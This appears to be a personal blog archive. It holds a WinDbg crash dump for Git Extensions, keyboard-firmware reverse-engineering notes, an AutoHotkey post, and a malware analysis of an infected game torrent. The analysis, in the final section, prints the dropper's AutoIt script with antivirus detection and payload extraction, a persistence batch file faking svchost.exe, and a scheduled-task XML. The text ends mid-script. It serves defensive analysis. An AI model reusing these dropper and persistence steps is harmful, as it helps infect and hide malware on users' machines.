Dot Net Callstack From Windbg

16 Feb 2020

Recently I experienced a bug with Git Extensions and I did not yet have JitMagic set up with dnSpy integration. I needed the callstack to report an issue to the developers.

I chose WinDbg as the just-in-time debugger. And simply ran !analyze -v:

*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

DEBUG_FLR_EXCEPTION_CODE(80131509) and the ".exr -1" ExceptionCode(e0434352) don't match
MethodDesc:   00007ffc4ae31d70
Method Name:  System.Reactive.Concurrency.SynchronizationContextScheduler.Schedule[[System.ValueTuple`2[[System.__Canon, mscorlib],[System.__Canon, mscorlib]], System.ValueTuple]](System.ValueTuple`2<System.__Canon,System.__Canon>, System.Func`3<System.Reactive.Concurrency.IScheduler,System.ValueTuple`2<System.__Canon,System.__Canon>,System.IDisposable>)
Class:        00007ffc7f601a38
MethodTable:  00007ffc7fed5ba0
mdToken:      00000000060011ac
Module:       00007ffc7f3b1000
IsJitted:     yes
CodeAddr:     00007ffc4ad2e360
Transparency: Critical
GetUrlPageData2 (WinHttp) failed: 12007.

KEY_VALUES_STRING: 1

    Key  : CLR.System.InvalidOperationException._message
    Value: Invoke or BeginInvoke cannot be called on a control until the window handle has been created.


STACKHASH_ANALYSIS: 1

TIMELINE_ANALYSIS: 1

Timeline: !analyze.Start
    Name: <blank>
    Time: 2020-02-16T21:23:49.402Z
    Diff: 402 mSec

Timeline: Dump.Current
    Name: <blank>
    Time: 2020-02-16T21:23:49.0Z
    Diff: 0 mSec

Timeline: Process.Start
    Name: <blank>
    Time: 2020-02-16T21:17:54.0Z
    Diff: 355000 mSec

Timeline: OS.Boot
    Name: <blank>
    Time: 2020-02-16T13:48:23.0Z
    Diff: 27326000 mSec


DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
KERNELBASE!RaiseException+68
00007ffc`b7e7908c 488b8c24c0000000 mov     rcx,qword ptr [rsp+0C0h]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffcb7e7908c (KERNELBASE!RaiseException+0x0000000000000068)
   ExceptionCode: e0434352 (CLR exception)
  ExceptionFlags: 00000001
NumberParameters: 5
   Parameter[0]: ffffffff80131509
   Parameter[1]: 0000000000000000
   Parameter[2]: 0000000000000000
   Parameter[3]: 0000000000000000
   Parameter[4]: 00007ffcaa250000

FAULTING_THREAD:  000010d4

EXCEPTION_CODE: (HRESULT) 0x80131509 (2148734217) - <Unable to get error code text>

EXCEPTION_CODE_STR:  80131509

WATSON_BKT_PROCSTAMP:  5e1310a0

WATSON_BKT_PROCVER:  3.3.1.7897

PROCESS_VER_PRODUCT:  Git Extensions

WATSON_BKT_MODULE:  KERNELBASE.dll

WATSON_BKT_MODSTAMP:  5d26b6e9

WATSON_BKT_MODOFFSET:  908c

WATSON_BKT_MODVER:  6.3.9600.19425

MODULE_VER_PRODUCT:  Microsoft® Windows® Operating System

BUILD_VERSION_STRING:  9600.19629.amd64fre.winblue_ltsb_escrow.200127-1700

MODLIST_WITH_TSCHKSUM_HASH:  642958e44b66935a181d61b4c64e4bdbaa672d71

MODLIST_SHA1_HASH:  abdd8c7f6b6b349838b6e46c74e36108e0c55c11

NTGLOBALFLAG:  400

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  272

DUMP_TYPE:  fe

PROCESS_NAME:  unknown

MISSING_CLR_SYMBOL: 0

ANALYSIS_SESSION_HOST:  MYPC

ANALYSIS_SESSION_TIME:  02-16-2020 22:23:49.0402

ANALYSIS_VERSION: 10.0.17763.132 amd64fre

MANAGED_CODE: 1

MANAGED_ENGINE_MODULE:  clr

MANAGED_ANALYSIS_PROVIDER:  SOS

MANAGED_THREAD_ID: 10d4

MANAGED_EXCEPTION_ADDRESS: 3c4b0ff98

LAST_CONTROL_TRANSFER:  from 00007ffcaa26a451 to 00007ffcb7e7908c

THREAD_ATTRIBUTES: 
THREAD_SHA1_HASH_MOD_FUNC:  496307919b5c20eda4b6b1d7f8f57fe40ecc2624

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  27cfc7cdea8e40dd4dc3a7ebac53d16e2aeb6dac

OS_LOCALE:  NLD

BUGCHECK_STR:  CLR_EXCEPTION_System.InvalidOperationException

DEFAULT_BUCKET_ID:  CLR_EXCEPTION_System.InvalidOperationException

PRIMARY_PROBLEM_CLASS:  CLR_EXCEPTION

PROBLEM_CLASSES: 

    ID:     [0n254]
    Type:   [CLR_EXCEPTION]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x10d4]
    Frame:  [0] : KERNELBASE!RaiseException

    ID:     [0n252]
    Type:   [@ManagedObjectName]
    Class:  Addendum
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Omit
    Data:   Add
            String: [System.InvalidOperationException]
    PID:    [0x2f30]
    TID:    [Unspecified]
    Frame:  [0]

STACK_TEXT:  
00000003`dc8eec80 00007ffc`91ef1173 System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+0x3d3
00000003`dc8eedc0 00007ffc`91ef0c72 System_Windows_Forms_ni!System.Windows.Forms.Control.BeginInvoke+0x62
00000003`dc8eee30 00007ffc`92972b71 System_Windows_Forms_ni!System.Windows.Forms.WindowsFormsSynchronizationContext.Post+0x51
00000003`dc8eee80 00007ffc`4ad2e47b System_Reactive_ni!System.Reactive.Concurrency.SynchronizationContextScheduler.Schedule[[System.ValueTuple_2[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]],_System.ValueTuple]]+0x11b
00000003`dc8eeef0 00007ffc`7fb379b4 System_Reactive_ni!System.Reactive.Concurrency.Scheduler.ScheduleAction[[System.__Canon,_mscorlib]]+0x154
00000003`dc8eef70 00007ffc`7fc56771 System_Reactive_ni!System.Reactive.Linq.ObservableImpl.EventProducer_2+Session+__c[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]]._Connect_b__5_0+0xf1
00000003`dc8eeff0 00007ffc`7fc623e2 System_Reactive_ni!System.Reactive.Disposables.AnonymousDisposable_1[[System.ValueTuple_3[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]],_System.ValueTuple]].Dispose+0x82
00000003`dc8ef050 00007ffc`7fb3478e System_Reactive_ni!System.Reactive.Disposables.Disposable.TryDispose+0x5e
00000003`dc8ef090 00007ffc`7fc49314 System_Reactive_ni!System.Reactive.Linq.ObservableImpl.Throttle_1+_[[System.__Canon,_mscorlib]].Dispose+0x24
00000003`dc8ef0c0 00007ffc`7fb4797b System_Reactive_ni!System.Reactive.Sink_1[[System.__Canon,_mscorlib]].Dispose+0xab
00000003`dc8ef120 00007ffc`7fb3478e System_Reactive_ni!System.Reactive.Disposables.Disposable.TryDispose+0x5e
00000003`dc8ef160 00007ffc`7fb49003 System_Reactive_ni!System.Reactive.ObserveOnObserverNew_1[[System.__Canon,_mscorlib]].Dispose+0x23
00000003`dc8ef1a0 00007ffc`7fb4797b System_Reactive_ni!System.Reactive.Sink_1[[System.__Canon,_mscorlib]].Dispose+0xab
00000003`dc8ef200 00007ffc`81b9697b GitUI_ni!GitUI.CommitInfo.CommitInfoHeader.DisposeCustomResources+0x1b
00000003`dc8ef230 00007ffc`81aa6643 GitUI_ni!GitUI.GitModuleControl.Dispose+0x53
00000003`dc8ef270 00007ffc`a8233371 System_ni!System.ComponentModel.Component.Finalize+0x11


STACK_COMMAND:  !sos.pe 0x3c4b0ff98 ; ** Pseudo Context ** ManagedPseudo ** Value: 534961d8e0 ** ; kb

THREAD_SHA1_HASH_MOD:  15163896b4156cc0a0208a3b87e3d5d6d3923e94

FOLLOWUP_IP: 
System_Windows_Forms_ni+2c1173
00007ffc`91ef1173 90              nop

FAULT_INSTR_CODE:  1247e890

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+2c1173

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: System_Windows_Forms

IMAGE_NAME:  System.Windows.Forms.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5d7a9e88

FAILURE_BUCKET_ID:  CLR_EXCEPTION_System.InvalidOperationException_80131509_System.Windows.Forms.dll!System.Windows.Forms.Control.MarshaledInvoke

BUCKET_ID:  CLR_EXCEPTION_System.InvalidOperationException_System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+2c1173

FAILURE_EXCEPTION_CODE:  80131509

FAILURE_IMAGE_NAME:  System.Windows.Forms.dll

BUCKET_ID_IMAGE_STR:  System.Windows.Forms.dll

FAILURE_MODULE_NAME:  System_Windows_Forms

BUCKET_ID_MODULE_STR:  System_Windows_Forms

FAILURE_FUNCTION_NAME:  System.Windows.Forms.Control.MarshaledInvoke

BUCKET_ID_FUNCTION_STR:  System.Windows.Forms.Control.MarshaledInvoke

BUCKET_ID_OFFSET:  2c1173

BUCKET_ID_MODPRIVATE: 1

BUCKET_ID_MODTIMEDATESTAMP:  5d7a9e88

BUCKET_ID_MODCHECKSUM:  0

BUCKET_ID_MODVER_STR:  4.8.4042.0

BUCKET_ID_PREFIX_STR:  CLR_EXCEPTION_System.InvalidOperationException_

FAILURE_PROBLEM_CLASS:  CLR_EXCEPTION

FAILURE_SYMBOL_NAME:  System.Windows.Forms.dll!System.Windows.Forms.Control.MarshaledInvoke

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/unknown/3.3.1.7897/5e1310a0/KERNELBASE.dll/6.3.9600.19425/5d26b6e9/80131509/0000908c.htm?Retriage=1

TARGET_TIME:  2020-02-16T21:23:56.000Z

OSBUILD:  9600

OSSERVICEPACK:  19538

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 8.1

OSEDITION:  Windows 8.1 WinNt SingleUserTS

USER_LCID:  0

OSBUILD_TIMESTAMP:  2019-10-15 05:45:31

BUILDDATESTAMP_STR:  200127-1700

BUILDLAB_STR:  winblue_ltsb_escrow

BUILDOSVER_STR:  6.3.9600.19629.amd64fre.winblue_ltsb_escrow.200127-1700

ANALYSIS_SESSION_ELAPSED_TIME:  1dab

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:clr_exception_system.invalidoperationexception_80131509_system.windows.forms.dll!system.windows.forms.control.marshaledinvoke

FAILURE_ID_HASH:  {c279e3a4-dab2-09ec-a135-2281bfa61101}

Followup:     MachineOwner
---------

Everything was magically analyzed and I was able to open an issue. As an added bonus I recently worked to allowing dnSpy to be used as a JIT debugger from JitMagic:

dnSpy JIT

Best regards,

Duncan

Leave a comment

Not Analyzing Keyboard Firmware Part 3

25 Nov 2019

In the first post I briefly discussed my motivation to analyze the keyboard’s firmware and I did make a small amount of progress since last time (thanks to /u/thoquz who suggested to try SVD Loader), but unfortunately other projects required my attention and I didn’t think there was enough (interesting) progress to report. However I did make significant progress towards solving my actual problem (a caps lock macro layer), so I decided to share that here as well!

The macro layer

The solution I came up with is based on AutoHotkey, which I heard about but never actually used myself before. For those not familiar, AutoHotkey allows you to create system-wide hotkeys in a custom scripting language. It is a bit weird, but it can apparently do crazy things, so why not give it a try?

After a while of thinking and experimenting I came up with the following key map (thanks to Keyboard Layout Editor. Green is the macro layer, the rest is just for reference:

macro layer

Initially I just had the arrows + home/end, but while doing some actual programming work I came up with a bunch of other useful things. For example Caps+G(it) is bound to F13, which I linked in Visual Studio to start my GitExtBar utility:

GitExtBar

Similarly I bound Caps+E(xplore) to my DirBrowser utility in Visual Studio, which allows me to quickly open the project’s output directory in Total Commander or a command prompt:

DirBrowser

A bunch of C++ related symbols are also bound to this layer, so I can keep holding caps lock when closing an if-block. I also bound Caps+S/D to scroll the mouse wheel, something I always appreciate in my browser with Saka Key. Finally Alt is also used for quickly navigating. For Left/Right it acts as Ctrl (meaning Caps+Alt+J maps to Ctrl+Left), for Home/End it acts as Shift (meaning Caps+Alt+U maps to Shift+Home).

If you are interested you can find a snapshot of capslayer.ahk here. I set up a cloud sync service and a hotkey to quickly reload the script to make sure things work the same across my various computers. Additionally I run the script as Administrator on login to make sure it is always available everywhere.

Beating old habits

Even though my macro layer was working perfectly I still found myself using the arrows and home/end keys over the macro keys all the time. Because I think the macro layer will be a more economic way of typing in the long run I decided to completely disable the original keys (which thankfully is super easy with AutoHotkey). This was quite a pain for a few days at work, but I can now (proudly?) say that I am typing utter garbage on other machines.

Generally I noticed that when it comes to forming habits on your computer, you should always use that same computer to simply enforce what you want to learn and punish old habits. Want to take more breaks? Simply configure Workrave to not allow you to continue and block all inputs. Want to get yourself in the habit of using Total Commander (which, frankly, you should if you value your time as a professional using Windows), use AutoHotkey to redirect Win+E to start Total Commander. Want to browse social media less? Use StayFocusd.

The future

If time permits and interest comes back I will definitely continue analyzing the keyboard firmware, because I did learn a lot from the short amount of time I spent on it so far. However, for my daily needs I will keep fine-tuning this AutoHotkey-based solution because it is so much easier. I did already find Karabiner-Elements for macOS, which should allow similar things, so I will play with that a bit before my trip next month.

Please let me know if you have any questions or suggestions with regards to my workflow and have a good week!

Duncan

Leave a comment

Analyzing Keyboard Firmware Part 2

13 Oct 2019

In last post we looked at obtaining the firmware for my new keyboard. I downloaded the firmware update utility and extracted a firmware image. The next step will be to set up the tooling and try to build a hello world as a point of reference.

I think the first step to any reverse engineering project should be to try and understand how the software you are reverse engineering was developed. Things like the libraries and compilers involved are very important, because without that frame of reference you might waste a lot of time on unimportant implementation details. If you are interested there is a great talk by Alex Ionescu called Reversing Without Reversing that goes more in depth about this topic.

The tools

Now the tricky part about writing a post like this is that it takes hours of research (downloading files, trying different things), but in the end it can be represented as a simple list:

  • Download and install Keil MDK-ARM (you can get an evaluation version);
  • Install the pack for the SN32F240;
  • Download and install SN32F240_Startkit_Package_V3.4R.zip;
  • Open the project in Keil uVision5;
  • Hit build.

Pretty much all of the information (including the download links) can be found on the SN32F40 product page. Initially I was having some issues having to be logged in to download the starter kit, but that got magically resolved and from there it was easy.

Installing Keil MDK-ARM is straightforward, just fill in the evaluation form and run the installer. You can then use PackInstaller.exe to search for and install the SN32F240 pack (alternatively you can use SONiX.SN32F2_DFP.1.2.11.pack from the starter kit):

toolkit installation

You then need to install SONiX’ proprietary Hex2Bin utility and open SN32F240_Startkit_Package_V3.4R\CMSIS Firmware Library_V3.2\USB_Library_For_64K_V1.5\SN32F240_Demo.uvprojx in the IDE and hit build (F7). If you did everything right you should see something like:

HexConvertVer = V24
CheckSum = 0xAC6E
".\obj\SN32F240.axf" - 0 Error(s), 0 Warning(s).
Build Time Elapsed:  00:00:01

Now if you take a look in the obj directory there are two interesting files: SN32F240.BIN and SN32F240.axf. The .BIN file is a firmware image very similar to the one extracted earlier and the .axf is a regular ELF file.

Ghidra

If you have been living under a rock you might not know that the NSA released their reverse engineering suite called Ghidra a while back. I tried it out a little, but didn’t really have a use case yet so I decided to try and use it for this project. I also tried IDA and it worked fine on the ELF file, but it was a total mess setting up the memory map and getting references to work so I decided to stick with Ghidra.

There was also a bug with Ghidra 9.0.2, so I will be using the 9.1-BETA_DEV version. Now all left to do is create a project in Ghidra, import SN32F240.axf and load it in the CodeBrowser:

ghidra

Next steps

In the next post we will take a look at the firmware initialization routines and use the information obtained from the ELF file and the datasheet to be able to properly load and analyze the extracted keyboard firmware. The posts are a bit short for my taste right now, but I do not have that much time to spend on this project so I think it allows me to write more consistently like this.

Best regards,

Duncan

Thanks again to F. for the proofread!

Leave a comment

Analyzing Keyboard Firmware Part 1

28 Sep 2019

Recently I bought a cheap SPC Gear GK530 mechanical keyboard to test out the Kailh Brown keyswitches. Overall it has a nice feel and you can change the epic RGB-lights to just be a dimmed constant color so I would recommend it for typing.

Unfortunately the macro/rebind feature is not very much to my liking. Right now you have to switch to Gaming mode (FN+Win) and then you can use use your modified keymap (with macros). In this mode you cannot use the Windows key (because it is locked) and it is generally quite awkward.

My preferred mode would be that holding Caps Lock enables my custom layer, which unfortunately does not seem to be supported. At this point I thought it would be a fun project to try and hack the firmware to support this behavior.

keyboard

Obtaining the firmware

Luckily for us SPC Gear provides two firmware update utilities on their Software page. The utility is called 1 - GK530 keyboard upgrade.exe and when I started it I was reminded of a similar utility I took at look at in the past.

firmware upgrade

The similar utility was a firmware upgrade tool for my current keyboard:

similar utility

When looking at a firmware upgrade tool in the past I documented it on a Github issue. From a quick glance it appears that nothing has changed, except that the firmware is no longer ‘encypted’ now and the UI looks a bit more fancy.

To obtain the image:

  • Extract the "BINARY" resource (170). You can use CFF Explorer for this task.
  • The extracted blob is an executable with no functionality, which has an ‘overlay’ appended to it (data after the end of the last section).
  • The overlay is the firmware image (65k) with some additional metadata at the end.

metadata

The interesting string there is at the very end, which says SN32F24x (all SONiX chips seem to start with SN). With a bit of Google-fu and creativity you can land on the product page for the SN32F248. Over there you can also find a bunch of links to utilities and manuals, one of which is called SONiX_USB_MCU_ISP_Tool_V2.3.1.7.7z. Opening the extracted firmware yields a good result:

original flash tool

Additionally there is also a data sheet available to the public (SN32F248_V2.0_EN.pdf), which should help progressing further. Initial information I gathered is that the chip is based on an ARM Cortex-M0.

Next steps

My next idea of progression is to try and set up the same tooling as someone developing hardware with this chip would. Get a C compiler and actually build a ROM of our own, to have a point of reference when starting reverse engineering. I do not have any experience looking at ARM code and not much experience with embedded software, so anything to aid my understanding in that area will be good.

Hopefully till next time,

Duncan

Thanks to F for the proofread!

Leave a comment

Analyzing Torrent Repack Malware

12 Jul 2017

Never trust a repack…

The torrent I looked at was: The Legend of Zelda: Breath of the Wild CEMU 1.8.0b [Multi-Lang] by HZolomon.

TL;DR: It is definitely malware. All the torrent by HZolomon appear to have been infected with malware equal/similar to this one.

The torrent (has been reported deleted, HZolomon is not (yet) banned), magnet (and no, I don’t condone piracy, was just interested to see if popular, repacked games are infected).

[MEGA Folder with relevant files] WARNING: THIS CONTAINS ACTIVE MALWARE (in case you didn’t read the title and like executing random files)…

Tooling

I used x64dbg, DbgChild, TitanHide, CFF Explorer, Exe2Aut and VirtualBox.

You have to select the checkboxes in the DbgChild plugin to automatically attach x64dbg to any process started by the executable you’re currently debugging:

dbgchild

From here on I’ll just give a brief description of each analysis step.

setup.exe

VirusTotal

  • With innoextract (innounp has a similar error):
Stream error while parsing setup headers!
 ├─ detected setup version: 5.4.2
 └─ error reason: basic_ios::clear
If you are sure the setup file is not corrupted, consider
filing a bug report at http://innoextract.constexpr.org/issues
Done with 1 error.
  • Extracts %temp%\is-[A-Z0-9]{5}.tmp\setup.tmp (is-K35T2.tmp in MEGA folder)

  • Probably this is: http://forum.ru-board.com/topic.cgi?forum=5&topic=34920&start=0&limit=1&m=1#1 and/or http://krinkels.org/resources/categories/innoultra.29/

setup.tmp

VirusTotal

Command line (this is similar to what InnoSetup does from what I know):

"C:\Users\Admin\AppData\Local\Temp\is-RPR25.tmp\setup.tmp" /SL5="$230522,1892858,54272,F:\Users\Admin\Documents\Downloads\The Legend of Zelda - Breath of the Wild\setup.exe" 
  • Extracts %temp%\is-[A-Z0-9]{5}.tmp\ISDone.dll and some other files (including unarc.dll).

  • Put a DLL breakpoint on unarc.dll in x64dbg.

  • Start the installation, which causes more stuff to be extracted to %temp%\is-[A-Z0-9]{5}.tmp.

All the extracted files are hidden. You can use attrib -S -H to unhide them (Windows explorer doesn’t allow you to do uncheck the Hidden box for some readon).

  • Break on FreeArcExtract (see my earlier blog post for more details). TL;DR it runs unarc.exe with the function arguments as command line arguments.

Some of the commands used in FreeArcExtract:

l -- setup-2.bin
x -o+ -pawdawdawd -wF:\BotW\ -dpF:\BotW\ -- setup-2.bin
  • Find cbArcExtract at ISDone.dll:$1A340 from the first parameter of FreeArcExtract, break on the password? action check:

password check

Arc password: awdawdawd

The unarc.dll uses compression algorithm hooks from facompress.dll (relevant code) + hooks for CLS-compressors (relevant code, CLS-MSC.dll, CLS-srep.dll) so make sure to put those next to unarc.exe if you want to (safely) extract the files.

  • After all the files are extracted it runs DSETUP.exe, which at first looked fine, but looking a second time the file is not signed by Microsoft and it has no version information or anything.

DSETUP.exe

VirusTotal

This is an AutoIt executable (32 bit), it’s basically the first layer of the dropper. With Exe2Aut I extracted the script (slightly deobfuscated by hand):

If @OSArch = "X64" Then
    If FileExists(@ScriptDir & "\Jun2010_XACT_x64.cab") AND FileExists(@ScriptDir & "\dsetup32.dll") AND FileExists(@ScriptDir & "\dxdllreg_x86.cab") AND FileExists(@ScriptDir & "\dxupdate.cab") AND FileExists(@ScriptDir & "\Jun2010_XACT_x86.cab") Then
        If _aes() = 0 Then
        Else
            For $i = 0 To UBound - 1 ; Does nothing
                If ProcessExists("avp.exe") OR ProcessExists("avpui.exe") OR ProcessExists("avguix.exe") OR ProcessExists("AVGUI.exe") OR ProcessExists("dwengine.exe") Then
                    $ainfo = _winapi_getsysteminfo()
                    $ainfo2 = $ainfo[0]
                    If $ainfo2 > 4 Then ; wProcessorArchitecture >= PROCESSOR_ARCHITECTURE_ARM (?)
                        $sinfile = @ScriptDir & "\dxupdate.cab"
                        $sfind = "00000000001C0004"
                        $sreplace = "377ABCAF271C0004"
                        $soutfile = @TempDir & "\CRDebugLog.txt"
                        _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                        FileChangeDir(@TempDir)
                        FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                        FileChangeDir(@TempDir)
                        RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                        Run("start.bat", "", @SW_HIDE)
                    EndIf
                ElseIf ProcessExists("AvastUI.exe") OR ProcessExists("AvastSvc.exe") Then
                    $sinfile = @ScriptDir & "\Jun2010_XACT_x64.cab"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                ElseIf ProcessExists("egui.exe") OR ProcessExists("ekrn.exe") Then
                    $sinfile = @ScriptDir & "\dsetup32.dll"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                ElseIf ProcessExists("MBAMService.exe") Then
                    $sinfile = @ScriptDir & "\Jun2010_XACT_x86.cab"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                Else
                    $sinfile = @ScriptDir & "\dxdllreg_x86.cab"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                EndIf
            Next
        EndIf
    Else
    EndIf
Else
EndIf

Func _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
    Local $fo, $fr
    $fo = FileOpen($sinfile, 16)
    $fr = FileRead($fo)
    FileClose($fo)
    $fr = StringReplace($fr, $sfind, $sreplace, 1)
    $fo = FileOpen($soutfile, 18)
    FileWrite($fo, $fr)
    FileClose($fo)
EndFunc

Func _aes()
    $struct = DllStructCreate("int eax; int ebx; int ecx; int edx")
    $strcode = "0x515352518B7C24148B4424180FA28907895F04894F0889570C595A5B5831C0C20800"
    $tbindata = DllStructCreate("byte[" & BinaryLen($strcode) & "]")
    DllStructSetData($tbindata, 1, $strcode)
    DllCallAddress("none", DllStructGetPtr($tbindata), "ptr", DllStructGetPtr($struct), "int", 1)
    $aes = (BitAND(DllStructGetData($struct, 3), 33554432))
    Return $aes
EndFunc

It tries to identify your anti-virus and based on that drops CLDe2bugLog.txt in your temp directory with the FileInstall function. It then replaces the bytes 00000000001C0004 with 377ABCAF271C0004 (7z header) and extracts it with the following command:

CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt

The contents of CRDebugLog.txt, but the malware inside does pretty much the same thing. I (unfortunately) looked at the contents of dxdllreg_x86:

64.exe
SystemCheck.xml
start.bat

start.bat

attrib -h -r -s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
copy /y "64.exe" "%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe"
attrib +h +r +s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
schtasks.exe /Create /XML "SystemCheck.xml" /TN "System\SystemCheck"
del 64.exe /f
del SystemCheck.xml /f
del CRDebugLog.txt /f
del CLDebugLog.txt /f
del "%0"

This copies the file to %userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe, which made it clear that this is indeed a malicious file. It then goes on to create a scheduled task with SystemCheck.xml.

SystemCheck.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Author>Microsoft Corporation</Author>
    <Description>Starts a system diagnostics application to scan for errors and performance problems.</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2017-01-01T00:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
    <TimeTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2017-01-01T00:00:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>true</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe</Command>
      <Arguments>-WindowsCheck</Arguments>
    </Exec>
  </Actions>
</Task>

This executes the newly-created svchost.exe with the -WindowsCheck command line every X amount of time (probably days, not really worth exploring in this case).

64.exe (svchost.exe)

VirusTotal

This file is packed with Enigma x64. TitanHide works fine for debugging Enigma (ScyllaHide has issues). The original entry point (OEP) is at 64.exe:$3059C . It has stolen bytes, but they are easy to retrieve:

48 83 EC 28 E8 BF B3 00 00 48 83 C4 28 E9 36 FE FF FF

EDIT: I have been asked on reddit to give more details about the “stolen bytes” mentioned here. Before I could answer user izizizizizizi gave a nice explanation:

“Stolen bytes” (is there any non-colloquial name for this I wonder) is a feature of many packers/protectors which prevents easy dumping. During the protection process, a part of the original executable code gets removed and stored in the protector stub. When it’s about to be executed there’s a redirection to the protector’s code instead of the original function. The stub either writes original code in some dynamic buffer and executes it or an obfuscated version of the original function is executed.

To get them I created my own Hello World-style AutoIt executable and pasted the entry point.

After the ‘unpacking’ enigma, I extracted the SCRIPT resource and put it in a Hello World AutoIt executable (32 bit), I then used Exe2Aut.exe to get the AutoIt script source code (irrelevant parts omitted):

If $cmdline[0] > 0 Then
    Select 
        Case $cmdline[1] = "-WindowsCheck"
            AdlibRegister("bot", 10 * 60 * 1000)
